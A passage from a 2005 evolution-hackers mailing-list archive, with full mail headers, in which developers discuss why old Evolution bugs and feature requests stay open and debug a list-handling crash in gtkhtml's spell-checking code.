pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id 135601240BA for ; Sat, 26 Feb 2005 16:55:23 -0500 (EST) Received: from pd2mr8so.prod.shaw.ca (pd2mr8so-qfe3.prod.shaw.ca [10.0.141.11]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ00NQ3GW93I40@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:22 -0700 (MST) Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151]) by pd2mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICJ0033XGW970B0@pd2mr8so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICJ00LI8GW8NW@l-daemon> for evolution-hackers@lists.ximian.com; Sat, 26 Feb 2005 14:55:21 -0700 (MST) Date: Sat, 26 Feb 2005 14:55:22 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <422092FB.1050307@pha.jhu.edu> To: Evolution Hackers-List Message-id: <1109454922.13648.21.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> X-Spam-Status: No, hits=-19.5 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jon, On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > Hello, > > You are attempting to draw conclusions from the number of open bugs > without considering all bugs. Please see: > http://en.wikipedia.org/wiki/Selection_bias I thought it might be something of the sort Jon. Appreciate the heads up on the possibility of my impression being way off based on skewed analysis based on the bugs that are still in existence without taking into account all the countless bugs and feature requests that have probably been dealt with already. I meant no offense by the way in case anyone found my impression offensive. I was mostly asking so that others could help me see differently. And from the standpoint of wondering how to approach making changes to the code for my own use and that of potential business clients of mine. Whether to participate in helping out or not based on my perception of whether any changes would be well received or considered or not. > If you have a sincere desire to help, produce good quality code to fix a > problem. We can never have enough people volunteering to be part of the > solution. For sure Jon. But on my end I am not so much interested in squashing bugs as much as I am in changing the way Evolution works in some of it's more quirky ways. For I have settled on Evolution as my email client of choice and will be with it for years to come. So it's worth it for me to work on some changes. For example.... 1. Get rid of the way the Send/Receive box takes over the screen and does not allow one to do much of anything in Evolution until AFTER it has finished. Only way that I have found around this is to set Evolution into automatic retrieval mode and then go off to do something else on my computer. But it would be better to get rid of the box altogether and replace it with some kind of indicator on the status bar unless user wishes otherwise. 2. Provide the means to be able to run a filter on a folder of emails manually. Without having said filter execute on incoming emails or outgoing emails only. Right now there is no such mechanism and this is quite handy, almost needful, to have to accomodate those who don't want all their email filtered until AFTER they have read it all out of their inbox. 3. Revamp the way Evolution responds to key presses and otherwise on the screen such that a user has a hard time telling what area of the screen is in focus and what their key presses will affect. For example the blue highlight bar (under Gnome) is in the folder pane over a folder. The emails in that folder are being displayed in the message pane (not the preview pane). One presses "." to go to the first unread message in the folder followed by the down arrow key to get to the next one (which is intuitive). What happens? The highlight bar moves to the next folder not the next message. This is confusing and quirky. It's difficult to tell what pane will be affected by my keypresses. 4. Change the little, itty bitty check boxes Enabling the checking of email from the various accounts one has, to more standard check boxes that are more seen to be that. The one's that are there look like some kind of decorative icon and are thus confusing. I mean they look pretty and all but for a regular user they are confusing since they don't look like any checkboxes one normally sees in programs of any kind. I mean the check inside the box I should say. Not the fact that there is a box accepting a check. I could go on..... Suffice it to say that each of these changes, while perhaps good overall and not just beneficial to me personally, would require a lot of effort not only to implement for myself alone but perhaps for everyone through a more formal inclusion into the main code branch. I'm not sure I want to fight for these changes and take the time to so fight for them if in the end such changes are going to be considered invalid, of no use, or even frowned upon. That is why I was asking about the apparent lack of closure to some very old bugs and very old feature requests. Either in implementing such or definitively putting them to rest by stating that they will not be worked on for this or that logical reason. All I see with most of the old one's left is that they keep getting knocked to later or in the future. They are never closed if that makes sense. Again my apologies if my impressions are way off but please take into account that I am feeling my way around all this for the first time with Evolution. Thanks. Carlos > > Jon > > Carlos Gonzalez wrote: > > I was reading through a bunch of the bug and feature requests entered > > into the Ximian bug database and was struck by how so many of them have > > not had any resolution for years while being requested over and over > > again. > > > > Is this because there are not enough people volunteering to fix bugs > > and/or add features? > > > > Is this because of a philosophical lack of willingness to include some > > of the feature requests (many of whom seem quite reasonable)? > > > > A little of both or maybe something else? > > > > I am just curious given that I am looking at starting to make some > > changes in Evolution for my own use and that of my business clients and > > want to work as much as possible with Evolution developers as opposed to > > independent of them. But I don't want to even bother helping out if > > there is some sort of philosophical mind set against adding new features > > or some such. In the end I may just have to incorporate the features > > that I and perhaps some of my clients might want in my own little "fork" > > rather than waiting for something to make it into the main tree, so this > > issue may be mute but I am mainly just curious as to why it seems to > > take so long to act on a bug or a feature request. > > > > I suppose I should also take into account that I was only viewing those > > things that were not resolved and that the context of seeing this > > against the great numbers that may have been resolved already is > > missing. > > > > Any insight on this would be appreciated. > > > > Thanks. > > > > Carlos > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From notzed@ximian.com Sun Feb 27 22:48:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DF74B1245EF; Sun, 27 Feb 2005 22:48:17 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9C95A1245A0 for ; Sun, 27 Feb 2005 22:48:04 -0500 (EST) Received: (qmail 5267 invoked from network); 28 Feb 2005 03:48:02 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:48:02 -0000 Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? From: Not Zed To: Carlos Gonzalez Cc: Evolution Hackers-List In-Reply-To: <1109454922.13648.21.camel@localhost.localdomain> References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-7zLlVW4Lru1MaQvvWcm3" Date: Mon, 28 Feb 2005 11:46:13 +0800 Message-Id: <1109562373.7375.22.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-18.7 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: > Hi Jon, > > > On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote: > > Hello, > > > > You are attempting to draw conclusions from the number of open bugs > > without considering all bugs. Please see: > > http://en.wikipedia.org/wiki/Selection_bias > > I thought it might be something of the sort Jon. Appreciate the heads > up on the possibility of my impression being way off based on skewed > analysis based on the bugs that are still in existence without taking > into account all the countless bugs and feature requests that have > probably been dealt with already. > > I meant no offense by the way in case anyone found my impression > offensive. I was mostly asking so that others could help me see > differently. > > And from the standpoint of wondering how to approach making changes to > the code for my own use and that of potential business clients of mine. > Whether to participate in helping out or not based on my perception of > whether any changes would be well received or considered or not. > > > If you have a sincere desire to help, produce good quality code to fix a > > problem. We can never have enough people volunteering to be part of the > > solution. > > For sure Jon. But on my end I am not so much interested in squashing > bugs as much as I am in changing the way Evolution works in some of it's Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests. It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either. I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. > more quirky ways. For I have settled on Evolution as my email client of > choice and will be with it for years to come. So it's worth it for me to > work on some changes. > > For example.... > > 1. Get rid of the way the Send/Receive box takes over the screen and > does not allow one to do much of anything in Evolution until AFTER it > has finished. Only way that I have found around this is to set > Evolution into automatic retrieval mode and then go off to do something > else on my computer. But it would be better to get rid of the box > altogether and replace it with some kind of indicator on the status bar > unless user wishes otherwise. I never knew this was a problem. Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows. You should still be able to just close the window using the close button, and it will keep downloading in the background. Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it. Its easy, write a patch, and then see if anybody wants it. > 2. Provide the means to be able to run a filter on a folder of emails > manually. Without having said filter execute on incoming emails or > outgoing emails only. Right now there is no such mechanism and this is > quite handy, almost needful, to have to accomodate those who don't want > all their email filtered until AFTER they have read it all out of their > inbox. We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list). This was removed years ago. I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. > 3. Revamp the way Evolution responds to key presses and otherwise on > the screen such that a user has a hard time telling what area of the > screen is in focus and what their key presses will affect. For example > the blue highlight bar (under Gnome) is in the folder pane over a > folder. The emails in that folder are being displayed in the message > pane (not the preview pane). One presses "." to go to the first unread > message in the folder followed by the down arrow key to get to the next > one (which is intuitive). What happens? The highlight bar moves to the > next folder not the next message. This is confusing and quirky. It's > difficult to tell what pane will be affected by my keypresses. Well the focus is on the folder tree in that case (as clearly indicated by the blue selection). So all normal key presses should be going there. Menu accelerators are global however. Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to. Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything. And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. > 4. Change the little, itty bitty check boxes Enabling the checking of > email from the various accounts one has, to more standard check boxes > that are more seen to be that. The one's that are there look like some > kind of decorative icon and are thus confusing. I mean they look pretty > and all but for a regular user they are confusing since they don't look > like any checkboxes one normally sees in programs of any kind. I mean > the check inside the box I should say. Not the fact that there is a box > accepting a check. As far as I'm aware, we're just using standard gtktreeview checkboxes here. That would be a gtk+ issue quite beyond our control. The same checkboxes are used for enabling calendars. > I could go on..... > > Suffice it to say that each of these changes, while perhaps good overall > and not just beneficial to me personally, would require a lot of effort > not only to implement for myself alone but perhaps for everyone through > a more formal inclusion into the main code branch. Well, we have quality standards that must be met. But that isn't the problem usually. Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input. The developers are not always able to have the last word, so the process falters because of management issues. > I'm not sure I want to fight for these changes and take the time to so > fight for them if in the end such changes are going to be considered > invalid, of no use, or even frowned upon. That is why I was asking > about the apparent lack of closure to some very old bugs and very old > feature requests. Either in implementing such or definitively putting > them to rest by stating that they will not be worked on for this or that > logical reason. All I see with most of the old one's left is that they > keep getting knocked to later or in the future. They are never closed > if that makes sense. There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. > Again my apologies if my impressions are way off but please take into > account that I am feeling my way around all this for the first time with > Evolution. It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans. > > > > Jon > > > > Carlos Gonzalez wrote: > > > I was reading through a bunch of the bug and feature requests entered > > > into the Ximian bug database and was struck by how so many of them have > > > not had any resolution for years while being requested over and over > > > again. > > > > > > Is this because there are not enough people volunteering to fix bugs > > > and/or add features? > > > > > > Is this because of a philosophical lack of willingness to include some > > > of the feature requests (many of whom seem quite reasonable)? > > > > > > A little of both or maybe something else? > > > > > > I am just curious given that I am looking at starting to make some > > > changes in Evolution for my own use and that of my business clients and > > > want to work as much as possible with Evolution developers as opposed to > > > independent of them. But I don't want to even bother helping out if > > > there is some sort of philosophical mind set against adding new features > > > or some such. In the end I may just have to incorporate the features > > > that I and perhaps some of my clients might want in my own little "fork" > > > rather than waiting for something to make it into the main tree, so this > > > issue may be mute but I am mainly just curious as to why it seems to > > > take so long to act on a bug or a feature request. > > > > > > I suppose I should also take into account that I was only viewing those > > > things that were not resolved and that the context of seeing this > > > against the great numbers that may have been resolved already is > > > missing. > > > > > > Any insight on this would be appreciated. > > > > > > Thanks. > > > > > > Carlos > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: 
Hi Jon, 


On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote:
> Hello,
> 
> You are attempting to draw conclusions from the number of open bugs 
> without considering all bugs.  Please see:
> http://en.wikipedia.org/wiki/Selection_bias

I thought it might be something of the sort Jon.  Appreciate the heads
up on the possibility of my impression being way off based on skewed
analysis based on the bugs that are still in existence without taking
into account all the countless bugs and feature requests that have
probably been dealt with already.  

I meant no offense by the way in case anyone found my impression
offensive.  I was mostly asking so that others could help me see
differently.  

And from the standpoint of wondering how to approach making changes to
the code for my own use and that of potential business clients of mine.
Whether to participate in helping out or not based on my perception of
whether any changes would be well received or considered or not.  

> If you have a sincere desire to help, produce good quality code to fix a 
> problem.  We can never have enough people volunteering to be part of the 
> solution.

For sure Jon.  But on my end I am not so much interested in squashing
bugs as much as I am in changing the way Evolution works in some of it's
Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests.  It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either.  I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. 
more quirky ways.  For I have settled on Evolution as my email client of
choice and will be with it for years to come. So it's worth it for me to
work on some changes.  

For example....

1. Get rid of the way the Send/Receive box takes over the screen and
does not allow one to do much of anything in Evolution until AFTER it
has finished.  Only way that I have found around this is to set
Evolution into automatic retrieval mode and then go off to do something
else on my computer.  But it would be better to get rid of the box
altogether and replace it with some kind of indicator on the status bar
unless user wishes otherwise.
I never knew this was a problem.  Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows.  You should still be able to just close the window using the close button, and it will keep downloading in the background.

Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it.  Its easy, write a patch, and then see if anybody wants it. 
2.  Provide the means to be able to run a filter on a folder of emails
manually. Without having said filter execute on incoming emails or
outgoing emails only.  Right now there is no such mechanism and this is
quite handy, almost needful,  to have to accomodate those who don't want
all their email filtered until AFTER they have read it all out of their
inbox.
We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list).  This was removed years ago.  I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. 
3.  Revamp the way Evolution responds to key presses and otherwise on
the screen such that a user has a hard time telling what area of the
screen is in focus and what their key presses will affect.  For example
the blue highlight bar (under Gnome) is in the folder pane over a
folder.  The emails in that folder are being displayed in the message
pane (not the preview pane).  One presses "." to go to the first unread
message in the folder followed by the down arrow key to get to the next
one (which is intuitive).  What happens?  The highlight bar moves to the
next folder not the next message.  This is confusing and quirky.  It's
difficult to tell what pane will be affected by my keypresses.
Well the focus is on the folder tree in that case (as clearly indicated by the blue selection).  So all normal key presses should be going there.  Menu accelerators are global however.

Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to.  Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything.  And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. 
4. Change the little, itty bitty check boxes Enabling the checking of
email from the various accounts one has, to more standard check boxes
that are more seen to be that.  The one's that are there look like some
kind of decorative icon and are thus confusing.  I mean they look pretty
and all but for a regular user they are confusing since they don't look
like any checkboxes one normally sees in programs of any kind.  I mean
the check inside the box I should say.  Not the fact that there is a box
accepting a check.
As far as I'm aware, we're just using standard gtktreeview checkboxes here.  That would be a gtk+ issue quite beyond our control.  The same checkboxes are used for enabling calendars. 
I could go on.....

Suffice it to say that each of these changes, while perhaps good overall
and not just beneficial to me personally, would require a lot of effort
not only to implement for myself alone but perhaps for everyone through
a more formal inclusion into the main code branch.
Well, we have quality standards that must be met.  But that isn't the problem usually.  Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input.  The developers are not always able to have the last word, so the process falters because of management issues. 
I'm not sure I want to fight for these changes and take the time to so
fight for them if in the end such changes are going to be considered
invalid, of no use, or even frowned upon.  That is why I was asking
about the apparent lack of closure to some very old bugs and very old
feature requests.  Either in implementing such or definitively putting
them to rest by stating that they will not be worked on for this or that
logical reason.  All I see with most of the old one's left is that they
keep getting knocked to later or in the future.  They are never closed
if that makes sense.
There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. 
Again my apologies if my impressions are way off but please take into
account that I am feeling my way around all this for the first time with
Evolution.

It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans.


> 
> Jon
> 
> Carlos Gonzalez wrote:
> > I was reading through a bunch of the bug and feature requests entered
> > into the Ximian bug database and was struck by how so many of them have
> > not had any resolution for years while being requested over and over
> > again.  
> > 
> > Is this because there are not enough people volunteering to fix bugs
> > and/or add features?  
> > 
> > Is this because of a philosophical lack of willingness to include some
> > of the feature requests (many of whom seem quite reasonable)?  
> > 
> > A little of both or maybe something else?  
> > 
> > I am just curious given that I am looking at starting to make some
> > changes in Evolution for my own use and that of my business clients and
> > want to work as much as possible with Evolution developers as opposed to
> > independent of them.  But I don't want to even bother helping out if
> > there is some sort of philosophical mind set against adding new features
> > or some such.  In the end I may just have to incorporate the features
> > that I and perhaps some of my clients might want in my own little "fork"
> > rather than waiting for something to make it into the main tree, so this
> > issue may be mute but I am mainly just curious as to why it seems to
> > take so long to act on a bug or a feature request.  
> > 
> > I suppose I should also take into account that I was only viewing those
> > things that were not resolved and that the context of seeing this
> > against the great numbers that may have been resolved already is
> > missing.  
> > 
> > Any insight on this would be appreciated.  
> > 
> > Thanks. 
> > 
> > Carlos 
> 
> _______________________________________________
> evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
> http://lists.ximian.com/mailman/listinfo/evolution-hackers

_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-7zLlVW4Lru1MaQvvWcm3-- From notzed@ximian.com Sun Feb 27 22:58:39 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 05B7F1243F7; Sun, 27 Feb 2005 22:58:39 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 8452F1244EA for ; Sun, 27 Feb 2005 22:58:27 -0500 (EST) Received: (qmail 5276 invoked from network); 28 Feb 2005 03:58:25 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:58:25 -0000 Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109321143.9733.32.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> <1109321143.9733.32.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-c4tVubXMU4KdGRwfWOgB" Date: Mon, 28 Feb 2005 11:56:35 +0800 Message-Id: <1109562995.7375.31.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.3 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote: > On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > > > There shouldn't be any threading involved at all with these > > functions. This code should all run exclusively in the main thread. > > That doesn't mean there isn't race-like problems in the code though. > > Is a remote ORBit-2 function working on the spell_errors list? Or a > function that has been called by ORBit-2? You can create a POA that > will, in the background, launch a new thread to handle such a remote > procedure call. In which case the developer might not have noticed it, > but then it is going to use multiple threads and it will run in > parallel. > > If I remember it correctly, it happens like this when you initialize > the POA with ORBIT_THREAD_HINT_PER_REQUEST. Yep, it does. But none of this code can work that way so it would be running against the mainloop. Not to say something else isn't invalidly using threads I guess. > > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. > > something is calling a corba method or a glib function, which then > > goes back into the mainloop and ends up invoking a callback/signal, > > while it is running a loop on the same data somewhere up the stack. > > These problems are often more tricky to track down and fix than real > > race conditions ... and often harder to fix since you can't just use > > a simple lock. > > > Okay. My patch might have made it a little but more stable then. But I > agree that if thats the case, this patch isn't a real fix for the > problem. I think it's more stable for me now, because there's a > smaller timeframe in which problems can happen. The unpatched version > can introduce problems during the time it's looping the spell_errors. > Mine will during that time just collect those items that are to be > removed. It can only create problems while it's actually removing the > collected items. Which takes less time. Overall will the > remove_spell_errors function take longer, but there's a shorter > timetime in which it can create problems. > > It's not removing the problem, it's just making it happen less > frequently. Which isn't going to help debugging this case :-), of > course. Any chance of trying it in valgrind and seeing if that spots anything? It just looks like its bad list code somewhere, but nothing is obvious in the code. If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind. > > > > > > This might also fix it. But then it's still using a hackish way > > > for removing an item from the GList. > > > > > > static GList* > > > remove_one (GList *list, GList *link) > > > { > > > GList *retval = g_list_remove_link (list, link); > > > spell_error_destroy ((SpellError *) link->data); > > > return retval; > > > } > > > > I doubt it would make any difference, spell_error_destroy() is just > > a g_free() and nothing more. > > > Which leaves the pointer at link->data undefined, while it's possible > that another thread is still working on that pointer at the same time > (of course only in case something else is running in parallel). Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer). So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path). --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote:
On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.
Yep, it does.  But none of this code can work that way so it would be running against the mainloop.  Not to say something else isn't invalidly using threads I guess.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.
Any chance of trying it in valgrind and seeing if that spots anything?  It just looks like its bad list code somewhere, but nothing is obvious in the code.

If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).
Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer).  So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path).


--=-c4tVubXMU4KdGRwfWOgB-- From carlos.gonzalez@shaw.ca Sun Feb 27 23:33:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E361F124039; Sun, 27 Feb 2005 23:33:47 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id D140D1242A2 for ; Sun, 27 Feb 2005 23:33:34 -0500 (EST) Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL001ONTZT9F60@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150]) by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL00MJLTZTKA70@pd4mr5so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICL00315TZSMJ@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Date: Sun, 27 Feb 2005 21:33:30 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <1109562373.7375.22.camel@lostzed.mmc.com.au> To: Evolution Hackers-List Message-id: <1109565210.22270.30.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> <1109562373.7375.22.camel@lostzed.mmc.com.au> X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_10,IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi 